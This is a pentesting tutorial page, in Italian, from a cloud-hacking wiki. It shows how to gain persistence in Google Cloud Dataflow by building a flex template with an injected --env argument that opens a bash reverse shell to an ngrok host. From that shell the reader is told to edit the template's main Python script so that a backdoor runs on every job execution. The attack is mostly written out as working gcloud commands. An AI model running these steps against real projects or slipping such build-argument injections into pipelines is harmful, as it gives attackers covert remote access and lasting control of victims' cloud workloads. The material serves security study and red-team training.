Files
hacktricks-cloud/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-dataflow-persistence.md

2.5 KiB

GCP - Dataflow Persistenza

{{#include ../../../banners/hacktricks-training.md}}

Dataflow

Persistenza invisibile nel container costruito

Seguendo il tutorial dalla documentazione puoi creare un nuovo (es. python) flex template:

Crea Dataflow flex template with backdoor ```bash git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git cd python-docs-samples/dataflow/flex-templates/getting_started

Create repository where dockerfiles and code is going to be stored

export REPOSITORY=flex-example-python gcloud storage buckets create gs://$REPOSITORY

Create artifact storage

export NAME_ARTIFACT=flex-example-python gcloud artifacts repositories create $NAME_ARTIFACT
--repository-format=docker
--location=us-central1 gcloud auth configure-docker us-central1-docker.pkg.dev

Create template

export NAME_TEMPLATE=flex-template gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json
--image-gcr-path "us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest"
--sdk-language "PYTHON"
--flex-template-base-image "PYTHON3"
--metadata-file "metadata.json"
--py-path "."
--env "FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py"
--env "FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt"
--env "PYTHONWARNINGS=all:0:antigravity.x:0:0"
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s"
--region=us-central1

</details>

**Mentre viene costruito, otterrai una reverse shell** (puoi abusare di env variables come nell'esempio precedente o di altri params che impostano il Docker file per eseguire operazioni arbitrarie). In questo momento, all'interno della reverse shell, è possibile **entrare nella directory `/template` e modificare il codice dello script python principale che verrà eseguito (nel nostro esempio questo è `getting_started.py`)**. Posiziona la tua backdoor qui in modo che ogni volta che il job viene eseguito, la esegua.

Poi, la volta successiva che il job viene eseguito, verrà avviato il container compromesso appena costruito:

<details>

<summary>Esegui Dataflow template</summary>
```bash
# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
--parameters=output="gs://$REPOSITORY/out" \
--region=us-central1

{{#include ../../../banners/hacktricks-training.md}}